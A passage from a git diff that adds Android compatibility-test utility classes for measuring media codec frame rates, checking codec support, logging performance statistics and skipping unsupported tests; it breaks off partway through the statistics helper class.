+ Log.e(TAG, "Error managing mock location app. Command: " + command, e);
+ }
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaPerfUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaPerfUtils.java
new file mode 100644
index 0000000..469e99a
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaPerfUtils.java
@@ -0,0 +1,176 @@
+/*
+ * Copyright 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import android.media.MediaFormat;
+import android.util.Range;
+
+import com.android.compatibility.common.util.DeviceReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
+import java.util.Arrays;
+import android.util.Log;
+
+public class MediaPerfUtils {
+ private static final String TAG = "MediaPerfUtils";
+
+ private static final int MOVING_AVERAGE_NUM_FRAMES = 10;
+ private static final int MOVING_AVERAGE_WINDOW_MS = 1000;
+
+ // allow a variance of 2x for measured frame rates (e.g. half of lower-limit to double of
+ // upper-limit of the published values). Also allow an extra 10% margin. This also acts as
+ // a limit for the size of the published rates (e.g. upper-limit / lower-limit <= tolerance).
+ private static final double FRAMERATE_TOLERANCE = 2.0 * 1.1;
+
+ /*
+ * ------------------ HELPER METHODS FOR ACHIEVABLE FRAME RATES ------------------
+ */
+
+ /** removes brackets from format to be included in JSON. */
+ private static String formatForReport(MediaFormat format) {
+ String asString = "" + format;
+ return asString.substring(1, asString.length() - 1);
+ }
+
+ /**
+ * Adds performance header info to |log| for |codecName|, |round|, |configFormat|, |inputFormat|
+ * and |outputFormat|. Also appends same to |message| and returns the resulting base message
+ * for logging purposes.
+ */
+ public static String addPerformanceHeadersToLog(
+ DeviceReportLog log, String message, int round, String codecName,
+ MediaFormat configFormat, MediaFormat inputFormat, MediaFormat outputFormat) {
+ String mime = configFormat.getString(MediaFormat.KEY_MIME);
+ int width = configFormat.getInteger(MediaFormat.KEY_WIDTH);
+ int height = configFormat.getInteger(MediaFormat.KEY_HEIGHT);
+
+ log.addValue("round", round, ResultType.NEUTRAL, ResultUnit.NONE);
+ log.addValue("codec_name", codecName, ResultType.NEUTRAL, ResultUnit.NONE);
+ log.addValue("mime_type", mime, ResultType.NEUTRAL, ResultUnit.NONE);
+ log.addValue("width", width, ResultType.NEUTRAL, ResultUnit.NONE);
+ log.addValue("height", height, ResultType.NEUTRAL, ResultUnit.NONE);
+ log.addValue("config_format", formatForReport(configFormat),
+ ResultType.NEUTRAL, ResultUnit.NONE);
+ log.addValue("input_format", formatForReport(inputFormat),
+ ResultType.NEUTRAL, ResultUnit.NONE);
+ log.addValue("output_format", formatForReport(outputFormat),
+ ResultType.NEUTRAL, ResultUnit.NONE);
+
+ message += " codec=" + codecName + " round=" + round + " configFormat=" + configFormat
+ + " inputFormat=" + inputFormat + " outputFormat=" + outputFormat;
+
+ Range<Double> reported =
+ MediaUtils.getVideoCapabilities(codecName, mime)
+ .getAchievableFrameRatesFor(width, height);
+ if (reported != null) {
+ log.addValue("reported_low", reported.getLower(), ResultType.NEUTRAL, ResultUnit.FPS);
+ log.addValue("reported_high", reported.getUpper(), ResultType.NEUTRAL, ResultUnit.FPS);
+ message += " reported=" + reported.getLower() + "-" + reported.getUpper();
+ }
+
+ return message;
+ }
+
+ /**
+ * Adds performance statistics based on the raw |stats| to |log|. Also prints the same into
+ * logcat. Returns the "final fps" value.
+ */
+ public static double addPerformanceStatsToLog(
+ DeviceReportLog log, MediaUtils.Stats durationsUsStats, String message) {
+
+ MediaUtils.Stats frameAvgUsStats =
+ durationsUsStats.movingAverage(MOVING_AVERAGE_NUM_FRAMES);
+ log.addValue(
+ "window_frames", MOVING_AVERAGE_NUM_FRAMES, ResultType.NEUTRAL, ResultUnit.COUNT);
+ logPerformanceStats(log, frameAvgUsStats, "frame_avg_stats",
+ message + " window=" + MOVING_AVERAGE_NUM_FRAMES);
+
+ MediaUtils.Stats timeAvgUsStats =
+ durationsUsStats.movingAverageOverSum(MOVING_AVERAGE_WINDOW_MS * 1000);
+ log.addValue("window_time", MOVING_AVERAGE_WINDOW_MS, ResultType.NEUTRAL, ResultUnit.MS);
+ double fps = logPerformanceStats(log, timeAvgUsStats, "time_avg_stats",
+ message + " windowMs=" + MOVING_AVERAGE_WINDOW_MS);
+
+ log.setSummary("fps", fps, ResultType.HIGHER_BETTER, ResultUnit.FPS);
+ return fps;
+ }
+
+ /**
+ * Adds performance statistics based on the processed |stats| to |log| using |prefix|.
+ * Also prints the same into logcat using |message| as the base message. Returns the fps value
+ * for |stats|. |prefix| must be lowercase alphanumeric underscored format.
+ */
+ private static double logPerformanceStats(
+ DeviceReportLog log, MediaUtils.Stats statsUs, String prefix, String message) {
+ final String[] labels = {
+ "min", "p5", "p10", "p20", "p30", "p40", "p50", "p60", "p70", "p80", "p90", "p95", "max"
+ };
+ final double[] points = {
+ 0, 5, 10, 20, 30, 40, 50, 60, 70, 80, 90, 95, 100
+ };
+
+ int num = statsUs.getNum();
+ long avg = Math.round(statsUs.getAverage());
+ long stdev = Math.round(statsUs.getStdev());
+ log.addValue(prefix + "_num", num, ResultType.NEUTRAL, ResultUnit.COUNT);
+ log.addValue(prefix + "_avg", avg / 1000., ResultType.LOWER_BETTER, ResultUnit.MS);
+ log.addValue(prefix + "_stdev", stdev / 1000., ResultType.LOWER_BETTER, ResultUnit.MS);
+ message += " num=" + num + " avg=" + avg + " stdev=" + stdev;
+ final double[] percentiles = statsUs.getPercentiles(points);
+ for (int i = 0; i < labels.length; ++i) {
+ long p = Math.round(percentiles[i]);
+ message += " " + labels[i] + "=" + p;
+ log.addValue(prefix + "_" + labels[i], p / 1000., ResultType.NEUTRAL, ResultUnit.MS);
+ }
+
+ // print result to logcat in case test aborts before logs are written
+ Log.i(TAG, message);
+
+ return 1e6 / percentiles[points.length - 2];
+ }
+
+ /** Verifies |measuredFps| against reported achievable rates. Returns null if at least
+ * one measurement falls within the margins of the reported range. Otherwise, returns
+ * an error message to display.*/
+ public static String verifyAchievableFrameRates(
+ String name, String mime, int w, int h, double... measuredFps) {
+ Range<Double> reported =
+ MediaUtils.getVideoCapabilities(name, mime).getAchievableFrameRatesFor(w, h);
+ String kind = "achievable frame rates for " + name + " " + mime + " " + w + "x" + h;
+ if (reported == null) {
+ return "Failed to get " + kind;
+ }
+ double lowerBoundary1 = reported.getLower() / FRAMERATE_TOLERANCE;
+ double upperBoundary1 = reported.getUpper() * FRAMERATE_TOLERANCE;
+ double lowerBoundary2 = reported.getUpper() / Math.pow(FRAMERATE_TOLERANCE, 2);
+ double upperBoundary2 = reported.getLower() * Math.pow(FRAMERATE_TOLERANCE, 2);
+ Log.d(TAG, name + " " + mime + " " + w + "x" + h +
+ " lowerBoundary1 " + lowerBoundary1 + " upperBoundary1 " + upperBoundary1 +
+ " lowerBoundary2 " + lowerBoundary2 + " upperBoundary2 " + upperBoundary2 +
+ " measured " + Arrays.toString(measuredFps));
+
+ for (double measured : measuredFps) {
+ if (measured >= lowerBoundary1 && measured <= upperBoundary1
+ && measured >= lowerBoundary2 && measured <= upperBoundary2) {
+ return null;
+ }
+ }
+
+ return "Expected " + kind + ": " + reported + ".\n"
+ + "Measured frame rate: " + Arrays.toString(measuredFps) + ".\n";
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java
new file mode 100644
index 0000000..3ea6b63
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java
@@ -0,0 +1,1232 @@
+/*
+ * Copyright 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import android.content.Context;
+import android.content.res.AssetFileDescriptor;
+import android.drm.DrmConvertedStatus;
+import android.drm.DrmManagerClient;
+import android.graphics.ImageFormat;
+import android.media.Image;
+import android.media.Image.Plane;
+import android.media.MediaCodec;
+import android.media.MediaCodec.BufferInfo;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecInfo.CodecCapabilities;
+import android.media.MediaCodecInfo.VideoCapabilities;
+import android.media.MediaCodecList;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.net.Uri;
+import android.util.Log;
+import android.util.Range;
+
+import com.android.compatibility.common.util.DeviceReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
+import java.lang.reflect.Method;
+import java.nio.ByteBuffer;
+import java.security.MessageDigest;
+
+import static java.lang.reflect.Modifier.isPublic;
+import static java.lang.reflect.Modifier.isStatic;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Map;
+
+import static junit.framework.Assert.assertTrue;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.RandomAccessFile;
+
+public class MediaUtils {
+ private static final String TAG = "MediaUtils";
+
+ /*
+ * ----------------------- HELPER METHODS FOR SKIPPING TESTS -----------------------
+ */
+ private static final int ALL_AV_TRACKS = -1;
+
+ private static final MediaCodecList sMCL = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+
+ /**
+ * Returns the test name (heuristically).
+ *
+ * Since it uses heuristics, this method has only been verified for media
+ * tests. This centralizes the way to signal errors during a test.
+ */
+ public static String getTestName() {
+ return getTestName(false /* withClass */);
+ }
+
+ /**
+ * Returns the test name with the full class (heuristically).
+ *
+ * Since it uses heuristics, this method has only been verified for media
+ * tests. This centralizes the way to signal errors during a test.
+ */
+ public static String getTestNameWithClass() {
+ return getTestName(true /* withClass */);
+ }
+
+ private static String getTestName(boolean withClass) {
+ int bestScore = -1;
+ String testName = "test???";
+ Map<Thread, StackTraceElement[]> traces = Thread.getAllStackTraces();
+ for (Map.Entry<Thread, StackTraceElement[]> entry : traces.entrySet()) {
+ StackTraceElement[] stack = entry.getValue();
+ for (int index = 0; index < stack.length; ++index) {
+ // method name must start with "test"
+ String methodName = stack[index].getMethodName();
+ if (!methodName.startsWith("test")) {
+ continue;
+ }
+
+ int score = 0;
+ // see if there is a public non-static void method that takes no argument
+ Class<?> clazz;
+ try {
+ clazz = Class.forName(stack[index].getClassName());
+ ++score;
+ for (final Method method : clazz.getDeclaredMethods()) {
+ if (method.getName().equals(methodName)
+ && isPublic(method.getModifiers())
+ && !isStatic(method.getModifiers())
+ && method.getParameterTypes().length == 0
+ && method.getReturnType().equals(Void.TYPE)) {
+ ++score;
+ break;
+ }
+ }
+ if (score == 1) {
+ // if we could read the class, but method is not public void, it is
+ // not a candidate
+ continue;
+ }
+ } catch (ClassNotFoundException e) {
+ }
+
+ // even if we cannot verify the method signature, there are signals in the stack
+
+ // usually test method is invoked by reflection
+ int depth = 1;
+ while (index + depth < stack.length
+ && stack[index + depth].getMethodName().equals("invoke")
+ && stack[index + depth].getClassName().equals(
+ "java.lang.reflect.Method")) {
+ ++depth;
+ }
+ if (depth > 1) {
+ ++score;
+ // and usually test method is run by runMethod method in android.test package
+ if (index + depth < stack.length) {
+ if (stack[index + depth].getClassName().startsWith("android.test.")) {
+ ++score;
+ }
+ if (stack[index + depth].getMethodName().equals("runMethod")) {
+ ++score;
+ }
+ }
+ }
+
+ if (score > bestScore) {
+ bestScore = score;
+ testName = methodName;
+ if (withClass) {
+ testName = stack[index].getClassName() + "." + testName;
+ }
+ }
+ }
+ }
+ return testName;
+ }
+
+ /**
+ * Finds test name (heuristically) and prints out standard skip message.
+ *
+ * Since it uses heuristics, this method has only been verified for media
+ * tests. This centralizes the way to signal a skipped test.
+ */
+ public static void skipTest(String tag, String reason) {
+ Log.i(tag, "SKIPPING " + getTestName() + "(): " + reason);
+ DeviceReportLog log = new DeviceReportLog("CtsMediaSkippedTests", "test_skipped");
+ try {
+ log.addValue("reason", reason, ResultType.NEUTRAL, ResultUnit.NONE);
+ log.addValue(
+ "test", getTestNameWithClass(), ResultType.NEUTRAL, ResultUnit.NONE);
+ log.submit();
+ } catch (NullPointerException e) { }
+ }
+
+ /**
+ * Finds test name (heuristically) and prints out standard skip message.
+ *
+ * Since it uses heuristics, this method has only been verified for media
+ * tests. This centralizes the way to signal a skipped test.
+ */
+ public static void skipTest(String reason) {
+ skipTest(TAG, reason);
+ }
+
+ public static boolean check(boolean result, String message) {
+ if (!result) {
+ skipTest(message);
+ }
+ return result;
+ }
+
+ /*
+ * ------------------- HELPER METHODS FOR CHECKING CODEC SUPPORT -------------------
+ */
+
+ public static boolean isGoogle(String codecName) {
+ codecName = codecName.toLowerCase();
+ return codecName.startsWith("omx.google.")
+ || codecName.startsWith("c2.android.")
+ || codecName.startsWith("c2.google.");
+ }
+
+ // returns the list of codecs that support any one of the formats
+ private static String[] getCodecNames(
+ boolean isEncoder, Boolean isGoog, MediaFormat... formats) {
+ MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+ ArrayList<String> result = new ArrayList<>();
+ for (MediaCodecInfo info : mcl.getCodecInfos()) {
+ if (info.isEncoder() != isEncoder) {
+ continue;
+ }
+ if (isGoog != null && isGoogle(info.getName()) != isGoog) {
+ continue;
+ }
+
+ for (MediaFormat format : formats) {
+ String mime = format.getString(MediaFormat.KEY_MIME);
+
+ CodecCapabilities caps = null;
+ try {
+ caps = info.getCapabilitiesForType(mime);
+ } catch (IllegalArgumentException e) { // mime is not supported
+ continue;
+ }
+ if (caps.isFormatSupported(format)) {
+ result.add(info.getName());
+ break;
+ }
+ }
+ }
+ return result.toArray(new String[result.size()]);
+ }
+
+ /* Use isGoog = null to query all decoders */
+ public static String[] getDecoderNames(/* Nullable */ Boolean isGoog, MediaFormat... formats) {
+ return getCodecNames(false /* isEncoder */, isGoog, formats);
+ }
+
+ public static String[] getDecoderNames(MediaFormat... formats) {
+ return getCodecNames(false /* isEncoder */, null /* isGoog */, formats);
+ }
+
+ /* Use isGoog = null to query all decoders */
+ public static String[] getEncoderNames(/* Nullable */ Boolean isGoog, MediaFormat... formats) {
+ return getCodecNames(true /* isEncoder */, isGoog, formats);
+ }
+
+ public static String[] getEncoderNames(MediaFormat... formats) {
+ return getCodecNames(true /* isEncoder */, null /* isGoog */, formats);
+ }
+
+ public static String[] getDecoderNamesForMime(String mime) {
+ MediaFormat format = new MediaFormat();
+ format.setString(MediaFormat.KEY_MIME, mime);
+ return getCodecNames(false /* isEncoder */, null /* isGoog */, format);
+ }
+
+ public static String[] getEncoderNamesForMime(String mime) {
+ MediaFormat format = new MediaFormat();
+ format.setString(MediaFormat.KEY_MIME, mime);
+ return getCodecNames(true /* isEncoder */, null /* isGoog */, format);
+ }
+
+ public static void verifyNumCodecs(
+ int count, boolean isEncoder, Boolean isGoog, MediaFormat... formats) {
+ String desc = (isEncoder ? "encoders" : "decoders") + " for "
+ + (formats.length == 1 ? formats[0].toString() : Arrays.toString(formats));
+ if (isGoog != null) {
+ desc = (isGoog ? "Google " : "non-Google ") + desc;
+ }
+
+ String[] codecs = getCodecNames(isEncoder, isGoog, formats);
+ assertTrue("test can only verify " + count + " " + desc + "; found " + codecs.length + ": "
+ + Arrays.toString(codecs), codecs.length <= count);
+ }
+
+ public static MediaCodec getDecoder(MediaFormat format) {
+ String decoder = sMCL.findDecoderForFormat(format);
+ if (decoder != null) {
+ try {
+ return MediaCodec.createByCodecName(decoder);
+ } catch (IOException e) {
+ }
+ }
+ return null;
+ }
+
+ public static boolean canEncode(MediaFormat format) {
+ if (sMCL.findEncoderForFormat(format) == null) {
+ Log.i(TAG, "no encoder for " + format);
+ return false;
+ }
+ return true;
+ }
+
+ public static boolean canDecode(MediaFormat format) {
+ if (sMCL.findDecoderForFormat(format) == null) {
+ Log.i(TAG, "no decoder for " + format);
+ return false;
+ }
+ return true;
+ }
+
+ public static boolean supports(String codecName, String mime, int w, int h) {
+ // While this could be simply written as such, give more graceful feedback.
+ // MediaFormat format = MediaFormat.createVideoFormat(mime, w, h);
+ // return supports(codecName, format);
+
+ VideoCapabilities vidCap = getVideoCapabilities(codecName, mime);
+ if (vidCap == null) {
+ return false;
+ } else if (vidCap.isSizeSupported(w, h)) {
+ return true;
+ }
+
+ Log.w(TAG, "unsupported size " + w + "x" + h);
+ return false;
+ }
+
+ public static boolean supports(String codecName, MediaFormat format) {
+ MediaCodec codec;
+ try {
+ codec = MediaCodec.createByCodecName(codecName);
+ } catch (IOException e) {
+ Log.w(TAG, "codec not found: " + codecName);
+ return false;
+ }
+
+ String mime = format.getString(MediaFormat.KEY_MIME);
+ CodecCapabilities cap = null;
+ try {
+ cap = codec.getCodecInfo().getCapabilitiesForType(mime);
+ return cap.isFormatSupported(format);
+ } catch (IllegalArgumentException e) {
+ Log.w(TAG, "not supported mime: " + mime);
+ return false;
+ } finally {
+ codec.release();
+ }
+ }
+
+ public static boolean hasCodecForTrack(MediaExtractor ex, int track) {
+ int count = ex.getTrackCount();
+ if (track < 0 || track >= count) {
+ throw new IndexOutOfBoundsException(track + " not in [0.." + (count - 1) + "]");
+ }
+ return canDecode(ex.getTrackFormat(track));
+ }
+
+ /**
+ * return true iff all audio and video tracks are supported
+ */
+ public static boolean hasCodecsForMedia(MediaExtractor ex) {
+ for (int i = 0; i < ex.getTrackCount(); ++i) {
+ MediaFormat format = ex.getTrackFormat(i);
+ // only check for audio and video codecs
+ String mime = format.getString(MediaFormat.KEY_MIME).toLowerCase();
+ if (!mime.startsWith("audio/") && !mime.startsWith("video/")) {
+ continue;
+ }
+ if (!canDecode(format)) {
+ return false;
+ }
+ }
+ return true;
+ }
+
+ /**
+ * return true iff any track starting with mimePrefix is supported
+ */
+ public static boolean hasCodecForMediaAndDomain(MediaExtractor ex, String mimePrefix) {
+ mimePrefix = mimePrefix.toLowerCase();
+ for (int i = 0; i < ex.getTrackCount(); ++i) {
+ MediaFormat format = ex.getTrackFormat(i);
+ String mime = format.getString(MediaFormat.KEY_MIME);
+ if (mime.toLowerCase().startsWith(mimePrefix)) {
+ if (canDecode(format)) {
+ return true;
+ }
+ Log.i(TAG, "no decoder for " + format);
+ }
+ }
+ return false;
+ }
+
+ private static boolean hasCodecsForResourceCombo(
+ Context context, int resourceId, int track, String mimePrefix) {
+ try {
+ AssetFileDescriptor afd = null;
+ MediaExtractor ex = null;
+ try {
+ afd = context.getResources().openRawResourceFd(resourceId);
+ ex = new MediaExtractor();
+ ex.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+ if (mimePrefix != null) {
+ return hasCodecForMediaAndDomain(ex, mimePrefix);
+ } else if (track == ALL_AV_TRACKS) {
+ return hasCodecsForMedia(ex);
+ } else {
+ return hasCodecForTrack(ex, track);
+ }
+ } finally {
+ if (ex != null) {
+ ex.release();
+ }
+ if (afd != null) {
+ afd.close();
+ }
+ }
+ } catch (IOException e) {
+ Log.i(TAG, "could not open resource");
+ }
+ return false;
+ }
+
+ /**
+ * return true iff all audio and video tracks are supported
+ */
+ public static boolean hasCodecsForResource(Context context, int resourceId) {
+ return hasCodecsForResourceCombo(context, resourceId, ALL_AV_TRACKS, null /* mimePrefix */);
+ }
+
+ public static boolean checkCodecsForResource(Context context, int resourceId) {
+ return check(hasCodecsForResource(context, resourceId), "no decoder found");
+ }
+
+ /**
+ * return true iff track is supported.
+ */
+ public static boolean hasCodecForResource(Context context, int resourceId, int track) {
+ return hasCodecsForResourceCombo(context, resourceId, track, null /* mimePrefix */);
+ }
+
+ public static boolean checkCodecForResource(Context context, int resourceId, int track) {
+ return check(hasCodecForResource(context, resourceId, track), "no decoder found");
+ }
+
+ /**
+ * return true iff any track starting with mimePrefix is supported
+ */
+ public static boolean hasCodecForResourceAndDomain(
+ Context context, int resourceId, String mimePrefix) {
+ return hasCodecsForResourceCombo(context, resourceId, ALL_AV_TRACKS, mimePrefix);
+ }
+
+ /**
+ * return true iff all audio and video tracks are supported
+ */
+ public static boolean hasCodecsForPath(Context context, String path) {
+ MediaExtractor ex = null;
+ try {
+ ex = getExtractorForPath(context, path);
+ return hasCodecsForMedia(ex);
+ } catch (IOException e) {
+ Log.i(TAG, "could not open path " + path);
+ } finally {
+ if (ex != null) {
+ ex.release();
+ }
+ }
+ return true;
+ }
+
+ private static MediaExtractor getExtractorForPath(Context context, String path)
+ throws IOException {
+ Uri uri = Uri.parse(path);
+ String scheme = uri.getScheme();
+ MediaExtractor ex = new MediaExtractor();
+ try {
+ if (scheme == null) { // file
+ ex.setDataSource(path);
+ } else if (scheme.equalsIgnoreCase("file")) {
+ ex.setDataSource(uri.getPath());
+ } else {
+ ex.setDataSource(context, uri, null);
+ }
+ } catch (IOException e) {
+ ex.release();
+ throw e;
+ }
+ return ex;
+ }
+
+ public static boolean checkCodecsForPath(Context context, String path) {
+ return check(hasCodecsForPath(context, path), "no decoder found");
+ }
+
+ public static boolean hasCodecForDomain(boolean encoder, String domain) {
+ for (MediaCodecInfo info : sMCL.getCodecInfos()) {
+ if (encoder != info.isEncoder()) {
+ continue;
+ }
+
+ for (String type : info.getSupportedTypes()) {
+ if (type.toLowerCase().startsWith(domain.toLowerCase() + "/")) {
+ Log.i(TAG, "found codec " + info.getName() + " for mime " + type);
+ return true;
+ }
+ }
+ }
+ return false;
+ }
+
+ public static boolean checkCodecForDomain(boolean encoder, String domain) {
+ return check(hasCodecForDomain(encoder, domain),
+ "no " + domain + (encoder ? " encoder" : " decoder") + " found");
+ }
+
+ private static boolean hasCodecForMime(boolean encoder, String mime) {
+ for (MediaCodecInfo info : sMCL.getCodecInfos()) {
+ if (encoder != info.isEncoder()) {
+ continue;
+ }
+
+ for (String type : info.getSupportedTypes()) {
+ if (type.equalsIgnoreCase(mime)) {
+ Log.i(TAG, "found codec " + info.getName() + " for mime " + mime);
+ return true;
+ }
+ }
+ }
+ return false;
+ }
+
+ private static boolean hasCodecForMimes(boolean encoder, String[] mimes) {
+ for (String mime : mimes) {
+ if (!hasCodecForMime(encoder, mime)) {
+ Log.i(TAG, "no " + (encoder ? "encoder" : "decoder") + " for mime " + mime);
+ return false;
+ }
+ }
+ return true;
+ }
+
+
+ public static boolean hasEncoder(String... mimes) {
+ return hasCodecForMimes(true /* encoder */, mimes);
+ }
+
+ public static boolean hasDecoder(String... mimes) {
+ return hasCodecForMimes(false /* encoder */, mimes);
+ }
+
+ public static boolean checkDecoder(String... mimes) {
+ return check(hasCodecForMimes(false /* encoder */, mimes), "no decoder found");
+ }
+
+ public static boolean checkEncoder(String... mimes) {
+ return check(hasCodecForMimes(true /* encoder */, mimes), "no encoder found");
+ }
+
+ public static boolean canDecodeVideo(String mime, int width, int height, float rate) {
+ MediaFormat format = MediaFormat.createVideoFormat(mime, width, height);
+ format.setFloat(MediaFormat.KEY_FRAME_RATE, rate);
+ return canDecode(format);
+ }
+
+ public static boolean canDecodeVideo(
+ String mime, int width, int height, float rate,
+ Integer profile, Integer level, Integer bitrate) {
+ MediaFormat format = MediaFormat.createVideoFormat(mime, width, height);
+ format.setFloat(MediaFormat.KEY_FRAME_RATE, rate);
+ if (profile != null) {
+ format.setInteger(MediaFormat.KEY_PROFILE, profile);
+ if (level != null) {
+ format.setInteger(MediaFormat.KEY_LEVEL, level);
+ }
+ }
+ if (bitrate != null) {
+ format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
+ }
+ return canDecode(format);
+ }
+
+ public static boolean checkEncoderForFormat(MediaFormat format) {
+ return check(canEncode(format), "no encoder for " + format);
+ }
+
+ public static boolean checkDecoderForFormat(MediaFormat format) {
+ return check(canDecode(format), "no decoder for " + format);
+ }
+
+ /*
+ * ----------------------- HELPER METHODS FOR MEDIA HANDLING -----------------------
+ */
+
+ public static VideoCapabilities getVideoCapabilities(String codecName, String mime) {
+ for (MediaCodecInfo info : sMCL.getCodecInfos()) {
+ if (!info.getName().equalsIgnoreCase(codecName)) {
+ continue;
+ }
+ CodecCapabilities caps;
+ try {
+ caps = info.getCapabilitiesForType(mime);
+ } catch (IllegalArgumentException e) {
+ // mime is not supported
+ Log.w(TAG, "not supported mime: " + mime);
+ return null;
+ }
+ VideoCapabilities vidCaps = caps.getVideoCapabilities();
+ if (vidCaps == null) {
+ Log.w(TAG, "not a video codec: " + codecName);
+ }
+ return vidCaps;
+ }
+ Log.w(TAG, "codec not found: " + codecName);
+ return null;
+ }
+
+ public static MediaFormat getTrackFormatForResource(
+ Context context,
+ int resourceId,
+ String mimeTypePrefix) throws IOException {
+ MediaExtractor extractor = new MediaExtractor();
+ AssetFileDescriptor afd = context.getResources().openRawResourceFd(resourceId);
+ try {
+ extractor.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+ } finally {
+ afd.close();
+ }
+ return getTrackFormatForExtractor(extractor, mimeTypePrefix);
+ }
+
+ public static MediaFormat getTrackFormatForPath(
+ Context context, String path, String mimeTypePrefix)
+ throws IOException {
+ MediaExtractor extractor = getExtractorForPath(context, path);
+ return getTrackFormatForExtractor(extractor, mimeTypePrefix);
+ }
+
+ private static MediaFormat getTrackFormatForExtractor(
+ MediaExtractor extractor,
+ String mimeTypePrefix) {
+ int trackIndex;
+ MediaFormat format = null;
+ for (trackIndex = 0; trackIndex < extractor.getTrackCount(); trackIndex++) {
+ MediaFormat trackMediaFormat = extractor.getTrackFormat(trackIndex);
+ if (trackMediaFormat.getString(MediaFormat.KEY_MIME).startsWith(mimeTypePrefix)) {
+ format = trackMediaFormat;
+ break;
+ }
+ }
+ extractor.release();
+ if (format == null) {
+ throw new RuntimeException("couldn't get a track for " + mimeTypePrefix);
+ }
+
+ return format;
+ }
+
+ public static MediaExtractor createMediaExtractorForMimeType(
+ Context context, int resourceId, String mimeTypePrefix)
+ throws IOException {
+ MediaExtractor extractor = new MediaExtractor();
+ AssetFileDescriptor afd = context.getResources().openRawResourceFd(resourceId);
+ try {
+ extractor.setDataSource(
+ afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+ } finally {
+ afd.close();
+ }
+ int trackIndex;
+ for (trackIndex = 0; trackIndex < extractor.getTrackCount(); trackIndex++) {
+ MediaFormat trackMediaFormat = extractor.getTrackFormat(trackIndex);
+ if (trackMediaFormat.getString(MediaFormat.KEY_MIME).startsWith(mimeTypePrefix)) {
+ extractor.selectTrack(trackIndex);
+ break;
+ }
+ }
+ if (trackIndex == extractor.getTrackCount()) {
+ extractor.release();
+ throw new IllegalStateException("couldn't get a track for " + mimeTypePrefix);
+ }
+
+ return extractor;
+ }
+
+ /*
+ * ---------------------- HELPER METHODS FOR CODEC CONFIGURATION
+ */
+
+ /** Format must contain mime, width and height.
+ * Throws Exception if encoder does not support this width and height */
+ public static void setMaxEncoderFrameAndBitrates(
+ MediaCodec encoder, MediaFormat format, int maxFps) {
+ String mime = format.getString(MediaFormat.KEY_MIME);
+
+ VideoCapabilities vidCaps =
+ encoder.getCodecInfo().getCapabilitiesForType(mime).getVideoCapabilities();
+ setMaxEncoderFrameAndBitrates(vidCaps, format, maxFps);
+ }
+
+ public static void setMaxEncoderFrameAndBitrates(
+ VideoCapabilities vidCaps, MediaFormat format, int maxFps) {
+ int width = format.getInteger(MediaFormat.KEY_WIDTH);
+ int height = format.getInteger(MediaFormat.KEY_HEIGHT);
+
+ int maxWidth = vidCaps.getSupportedWidths().getUpper();
+ int maxHeight = vidCaps.getSupportedHeightsFor(maxWidth).getUpper();
+ int frameRate = Math.min(
+ maxFps, vidCaps.getSupportedFrameRatesFor(width, height).getUpper().intValue());
+ format.setInteger(MediaFormat.KEY_FRAME_RATE, frameRate);
+
+ int bitrate = vidCaps.getBitrateRange().clamp(
+ (int)(vidCaps.getBitrateRange().getUpper() /
+ Math.sqrt((double)maxWidth * maxHeight / width / height)));
+ format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
+ }
+
+ /*
+ * ------------------ HELPER METHODS FOR STATISTICS AND REPORTING ------------------
+ */
+
+ // TODO: migrate this into com.android.compatibility.common.util.Stat
+ public static class Stats {
+ /** does not support NaN or Inf in |data| */
+ public Stats(double[] data) {
+ mData = data;
+ if (mData != null) {
+ mNum = mData.length;
+ }
+ }
+
+ public int getNum() {
+ return mNum;
+ }
+
+ /** calculate mSumX and mSumXX */
+ private void analyze() {
+ if (mAnalyzed) {
+ return;
+ }
+
+ if (mData != null) {
+ for (double x : mData) {
+ if (!(x >= mMinX)) { // mMinX may be NaN
+ mMinX = x;
+ }
+ if (!(x <= mMaxX)) { // mMaxX may be NaN
+ mMaxX = x;
+ }
+ mSumX += x;
+ mSumXX += x * x;
+ }
+ }
+ mAnalyzed = true;
+ }
+
+ /** returns the maximum or NaN if it does not exist */
+ public double getMin() {
+ analyze();
+ return mMinX;
+ }
+
+ /** returns the minimum or NaN if it does not exist */
+ public double getMax() {
+ analyze();
+ return mMaxX;
+ }
+
+ /** returns the average or NaN if it does not exist. */
+ public double getAverage() {
+ analyze();
+ if (mNum == 0) {
+ return Double.NaN;
+ } else {
+ return mSumX / mNum;
+ }
+ }
+
+ /** returns the standard deviation or NaN if it does not exist. */
